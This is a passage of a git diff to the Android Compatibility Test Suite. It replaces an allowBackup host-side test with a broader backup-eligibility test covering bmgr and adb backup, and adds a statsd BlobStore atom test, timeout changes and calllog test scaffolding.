+            addData(mDoBackupFile2);
+            Log.d(TAG, "Files generated!");
+        } catch (IOException e) {
+            Log.e(TAG, "Unable to generate files", e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        mDoBackupFile.delete();
+        mDoBackupFile2.delete();
+        Log.d(TAG, "Files deleted!");
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void assertAllFilesExist() {
+        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+    }
+
+    private void assertNoFilesExist() {
+        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
deleted file mode 100644
index d8ceb0f..0000000
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertNull;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test checking that allowBackup manifest attribute is respected by backup manager.
- *
- * Uses 2 apps that differ only by 'allowBackup' manifest attribute value.
- *
- * Tests 2 scenarios:
- *
- * 1. App that has 'allowBackup=false' in the manifest shouldn't be backed up.
- * 2. App that doesn't have 'allowBackup' in the manifest (default is true) should be backed up.
- *
- * The flow of the tests is the following:
- * 1. Install the app
- * 2. Generate files in the app's data folder.
- * 3. Run 'bmgr backupnow'. Depending on the manifest we expect either 'Success' or
- * 'Backup is not allowed' in the output.
- * 4. Uninstall/reinstall the app
- * 5. Check whether the files were restored or not depending on the manifest.
- *
- * Invokes device side tests provided by
- * android.cts.backup.backupnotallowedapp.AllowBackupTest.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-@AppModeFull
-public class AllowBackupHostSideTest extends BaseBackupHostSideTest {
-
-    private static final String ALLOWBACKUP_APP_NAME = "android.cts.backup.backupnotallowedapp";
-    private static final String ALLOWBACKUP_DEVICE_TEST_CLASS_NAME =
-            ALLOWBACKUP_APP_NAME + ".AllowBackupTest";
-
-    /** The name of the APK of the app that has allowBackup=false in the manifest */
-    private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
-
-    /** The name of the APK of the app that doesn't have allowBackup in the manifest
-     * (same as allowBackup=true by default) */
-    private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
-
-    @After
-    public void tearDown() throws Exception {
-        // Clear backup data and uninstall the package (in that order!)
-        clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-    }
-
-    @Test
-    public void testAllowBackup_False() throws Exception {
-        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
-        // Generate the files that are going to be backed up.
-        checkAllowBackupDeviceTest("createFiles");
-
-        getBackupUtils().backupNowAndAssertBackupNotAllowed(ALLOWBACKUP_APP_NAME);
-
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
-        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
-        checkAllowBackupDeviceTest("checkNoFilesExist");
-    }
-
-    @Test
-    public void testAllowBackup_True() throws Exception {
-        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
-        // Generate the files that are going to be backed up.
-        checkAllowBackupDeviceTest("createFiles");
-
-        // Do a backup
-        getBackupUtils().backupNowAndAssertSuccess(ALLOWBACKUP_APP_NAME);
-
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
-        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
-        checkAllowBackupDeviceTest("checkAllFilesExist");
-    }
-
-    private void checkAllowBackupDeviceTest(String methodName)
-            throws DeviceNotAvailableException {
-        checkDeviceTest(ALLOWBACKUP_APP_NAME, ALLOWBACKUP_DEVICE_TEST_CLASS_NAME,
-                methodName);
-    }
-
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
new file mode 100644
index 0000000..7993030
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test verifying backup eligibility rules are respected.
+ *
+ * <p>Tests the following scenarios:
+ * <ol>
+ *   <li>App that has {@code allowBackup=false} in the manifest shouldn't be backed up by {@code
+ *       adb shell bmgr}.
+ *   <li>App that doesn't have {@code allowBackup} in the manifest (default is true) should be
+ *       backed up by {@code adb shell bmgr}.
+ *   <li>App that has {@code debuggable=true} in the manifest should be backed up by {@code adb
+ *       backup}.
+ *   <li>App that has {@code debuggable=false} in the manifest shouldn't be backed up by in
+ *       {@code adb backup}.
+ * </ol>
+ *
+ * <p>Invokes device side tests provided by
+ * {@link android.cts.backup.backupnotallowedapp.BackupEligibilityTest} and
+ * {@link android.cts.backup.adbbackupapp.AdbBackupApp}.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class BackupEligibilityHostSideTest extends BaseBackupHostSideTest {
+    private static final String BACKUP_ELIGIBILITY_APP_NAME
+            = "android.cts.backup.backupeligibilityapp";
+    private static final String ADB_BACKUP_APP_NAME = "android.cts.backup.adbbackupapp";
+    private static final String BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME =
+            BACKUP_ELIGIBILITY_APP_NAME + ".BackupEligibilityTest";
+    private static final String ADB_BACKUP_DEVICE_SIDE_CLASS_NAME =
+            ADB_BACKUP_APP_NAME + ".AdbBackupApp";
+    private static final String BACKUP_RESTORE_CONFIRMATION_PACKAGE = "com.android.backupconfirm";
+    private static final String ADB_BACKUP_FILE = "adb_backup_file.ab";
+
+    /** The name of the APK of the app that has allowBackup=false in the manifest */
+    private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
+
+    /** The name of the APK of the app that doesn't have allowBackup in the manifest
+     * (same as allowBackup=true by default) */
+    private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
+
+    /** The name of the APK of the app that has {@code debuggable=false} in the manifest. */
+    private static final String DEBUGGABLE_FALSE_APP_APK = "NonDebuggableApp.apk";
+    /** The name of the APK of the app that has {@code debuggable=true} in the manifest. */
+    private static final String DEBUGGABLE_TRUE_APP_APK = "DebuggableApp.apk";
+    private static final String ADB_BACKUP_APP_APK = "AdbBackupApp.apk";
+
+    @After
+    public void tearDown() throws Exception {
+        // Clear backup data and uninstall the package (in that order!)
+        clearBackupDataInLocalTransport(BACKUP_ELIGIBILITY_APP_NAME);
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code bmgr backupnow} and assert 'Backup is not allowed' is printed.
+     *   <li>Uninstall / reinstall the app
+     *   <li>Assert no files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAllowBackup_False() throws Exception {
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkBackupEligibilityDeviceTest("createFiles");
+
+        getBackupUtils().backupNowAndAssertBackupNotAllowed(BACKUP_ELIGIBILITY_APP_NAME);
+
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        checkBackupEligibilityDeviceTest("checkNoFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code bmgr backupnow} and assert 'Success' is printed.
+     *   <li>Uninstall / reinstall the app.
+     *   <li>Assert the files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAllowBackup_True() throws Exception {
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkBackupEligibilityDeviceTest("createFiles");
+
+        // Do a backup
+        getBackupUtils().backupNowAndAssertSuccess(BACKUP_ELIGIBILITY_APP_NAME);
+
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        checkBackupEligibilityDeviceTest("checkAllFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code adb backup}.
+     *   <li>Uninstall / reinstall the app.
+     *   <li>Run {@code adb restore}.
+     *   <li>Assert no files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAdbBackup_offForNonDebuggableApp() throws Exception {
+        installPackage(DEBUGGABLE_FALSE_APP_APK, "-d", "-r");
+
+        runAdbBackupAndRestore();
+
+        checkBackupEligibilityDeviceTest("checkNoFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code adb backup}.
+     *   <li>Clear data for the app.
+     *   <li>Run {@code adb restore}.
+     *   <li>Assert the files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAdbBackup_onForDebuggableApp() throws Exception {
+        installPackage(DEBUGGABLE_TRUE_APP_APK, "-d", "-r");
+
+        runAdbBackupAndRestore();
+
+        checkBackupEligibilityDeviceTest("checkAllFilesExist");
+    }
+
+    private void runAdbBackupAndRestore() throws Exception {
+        installPackage(ADB_BACKUP_APP_APK, "-d", "-r");
+
+        try {
+            // Generate the files that are going to be backed up.
+            checkBackupEligibilityDeviceTest("createFiles");
+            runAdbCommand("backup", "-f", ADB_BACKUP_FILE, BACKUP_ELIGIBILITY_APP_NAME);
+            checkBackupEligibilityDeviceTest("deleteFilesAndAssertNoneExist");
+            runAdbCommand("restore", ADB_BACKUP_FILE);
+        } finally {
+            assertNull(uninstallPackage(ADB_BACKUP_APP_NAME));
+        }
+    }
+
+    private void checkBackupEligibilityDeviceTest(String methodName)
+            throws DeviceNotAvailableException {
+        checkDeviceTest(BACKUP_ELIGIBILITY_APP_NAME, BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME,
+                methodName);
+    }
+
+    private void runAdbCommand(String... arguments) throws Exception {
+        ITestDevice device = getDevice();
+
+        try {
+            // Close the backup confirmation window in case there's already one floating around for
+            // any reason.
+            device.executeShellCommand("am force-stop " + BACKUP_RESTORE_CONFIRMATION_PACKAGE);
+        } catch (Exception e) {
+            CLog.w("Error while trying to force-stop backup confirmation: " + e.getMessage());
+            // Keep going
+        }
+
+        Thread restore = new Thread(() -> {
+            try {
+                device.executeAdbCommand(arguments);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
+        restore.start();
+        runDeviceSideProcedure(ADB_BACKUP_APP_NAME, ADB_BACKUP_DEVICE_SIDE_CLASS_NAME,
+                /* procedureName */ "clickAdbBackupConfirmButton");
+        restore.join();
+    }
+
+    private void runDeviceSideProcedure(String packageName, String className,
+            String procedureName) throws Exception {
+        checkDeviceTest(packageName, className, procedureName);
+    }
+}
diff --git a/hostsidetests/blobstore/Android.bp b/hostsidetests/blobstore/Android.bp
index d699def..4e4349a 100644
--- a/hostsidetests/blobstore/Android.bp
+++ b/hostsidetests/blobstore/Android.bp
@@ -22,6 +22,9 @@
         "tradefed",
         "truth-prebuilt"
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index 2369ec0..8fefcb2 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -75,6 +75,11 @@
                 runDeviceTests(deviceTestRunOptions)).isTrue();
     }
 
+    protected long getDeviceTimeMs() throws Exception {
+        final String timeMs = getDevice().executeShellCommand("date +%s%3N");
+        return Long.parseLong(timeMs.trim());
+    }
+
     protected void rebootAndWaitUntilReady() throws Exception {
         // TODO: use rebootUserspace()
         getDevice().reboot(); // reboot() waits for device available
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
new file mode 100644
index 0000000..1af2515
--- /dev/null
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.host.blob;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StatsdBlobStoreAtomTest extends BaseBlobStoreHostTest {
+    private static final String TEST_CLASS = TARGET_PKG + ".AtomTest";
+
+    // Constants that match the constants for AtomTests#testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+
+    private int mTestAppUid;
+
+    @Before
+    public void setUp() throws Exception {
+        installPackage(TARGET_APK);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        mTestAppUid = DeviceUtils.getAppUid(getDevice(), TARGET_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        uninstallPackage(TARGET_PKG);
+    }
+
+    @Test
+    public void testPushedBlobStoreStats() throws Exception {
+        final StatsdConfigProto.StatsdConfig.Builder conf =
+                ConfigUtils.createConfigBuilder(TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_COMMITTED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_LEASED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_OPENED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.uploadConfig(getDevice(), conf);
+
+        runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+
+        final List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(3);
+
+        final AtomsProto.BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
+        final long blobId = blobCommitted.getBlobId();
+        final long blobSize = blobCommitted.getSize();
+        assertThat(blobCommitted.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobId).isGreaterThan(0L);
+        assertThat(blobSize).isGreaterThan(0L);
+        assertThat(blobCommitted.getResult()).isEqualTo(AtomsProto.BlobCommitted.Result.SUCCESS);
+
+        final AtomsProto.BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
+        assertThat(blobLeased.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
+        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
+        assertThat(blobLeased.getResult()).isEqualTo(AtomsProto.BlobLeased.Result.SUCCESS);
+
+        final AtomsProto.BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
+        assertThat(blobOpened.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
+        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
+        assertThat(blobOpened.getResult()).isEqualTo(AtomsProto.BlobOpened.Result.SUCCESS);
+    }
+
+    @Test
+    public void testPulledBlobStoreStats() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), TARGET_PKG,
+                AtomsProto.Atom.BLOB_INFO_FIELD_NUMBER);
+
+        final long testStartTimeMs = getDeviceTimeMs();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Add commit callback time to test end time to account for async execution
+        final long testEndTimeMs =
+                getDeviceTimeMs() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
+
+        // Find the BlobInfo for the blob created in the test run
+        AtomsProto.BlobInfo blobInfo = null;
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasBlobInfo()) {
+                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
+                if (temp.getCommitters().getCommitter(0).getUid() == mTestAppUid) {
+                    blobInfo = temp;
+                    break;
+                }
+            }
+        }
+        assertThat(blobInfo).isNotNull();
+
+        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
+
+        // Check that expiry time is reasonable
+        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
+                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
+        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
+                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
+
+        // Check that commit time is reasonable
+        final long commitTimeMs = blobInfo.getCommitters().getCommitter(0)
+                .getCommitTimestampMillis();
+        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
+        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
+
+        // Check that WHITELIST and PRIVATE access mode flags are set
+        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
+        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage())
+                .isEqualTo(1);
+
+        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
+        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(mTestAppUid);
+
+        // Check that lease expiry time is reasonable
+        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(0)
+                .getLeaseExpiryTimestampMillis();
+        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+    }
+}
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
new file mode 100644
index 0000000..3d57c35
--- /dev/null
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.device.blob;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.blob.BlobStoreManager;
+
+import com.android.utils.blob.FakeBlobData;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.google.common.io.BaseEncoding;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class AtomTest extends BaseBlobStoreDeviceTest {
+    // Constants for testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
+            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
+
+    @Test
+    public void testBlobStoreOps() throws Exception {
+        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
+
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
+                .setExpiryDurationMs(BLOB_EXPIRY_DURATION_MS)
+                .setFileSize(BLOB_FILE_SIZE_BYTES)
+                .build();
+
+        blobData.prepare();
+        try {
+            // Commit the Blob, should result in BLOB_COMMITTED atom event
+            commitBlob(blobData);
+
+            // Lease the Blob, should result in BLOB_LEASED atom event
+            mBlobStoreManager.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
+
+            // Open the Blob, should result in BLOB_OPENED atom event
+            mBlobStoreManager.openBlob(blobData.getBlobHandle());
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    private void commitBlob(FakeBlobData blobData) throws Exception {
+        final long sessionId = createSession(blobData.getBlobHandle());
+        try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+            blobData.writeToSession(session);
+            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
+
+            final CompletableFuture<Integer> callback = new CompletableFuture<>();
+            session.commit(mContext.getMainExecutor(), callback::complete);
+            assertWithMessage("Session failed to commit within timeout").that(
+                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
+        }
+    }
+}
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
index 81cd918..aa9f439 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
@@ -38,7 +38,7 @@
 
     protected static final long PARTIAL_FILE_LENGTH_BYTES = 2002;
     protected static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
-    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 10_000;
+    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 30_000;
 
     protected Context mContext;
     protected Instrumentation mInstrumentation;
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
index 9bcf2a1..fb6477d 100644
--- a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -38,7 +38,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class BootStatsHostTest implements IDeviceTest {
 
-    private static final long MAX_WAIT_TIME_MS = 30000;
+    private static final long MAX_WAIT_TIME_MS = 100000;
     private static final long WAIT_SLEEP_MS = 100;
 
     private static int[] ATOMS_EXPECTED = {
diff --git a/hostsidetests/calllog/Android.bp b/hostsidetests/calllog/Android.bp
new file mode 100644
index 0000000..59b6bac
--- /dev/null
+++ b/hostsidetests/calllog/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+    name: "CtsCallLogTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+
+    static_libs: [
+        "cts-host-utils",
+    ],
+}
diff --git a/hostsidetests/calllog/AndroidTest.xml b/hostsidetests/calllog/AndroidTest.xml
new file mode 100644
index 0000000..1e9822c
--- /dev/null
+++ b/hostsidetests/calllog/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- These tests explicitly handle multiuser switching themselves. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsCallLogTestCases.jar" />
+        <option name="runtime-hint" value="10m" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/calllog/OWNERS b/hostsidetests/calllog/OWNERS
new file mode 100644
index 0000000..bb4fb86
--- /dev/null
+++ b/hostsidetests/calllog/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 151185
+include platform/frameworks/base:/telecomm/OWNERS
diff --git a/hostsidetests/calllog/app/Android.bp b/hostsidetests/calllog/app/Android.bp
new file mode 100644
index 0000000..9f61f91
--- /dev/null
+++ b/hostsidetests/calllog/app/Android.bp
@@ -0,0 +1,36 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
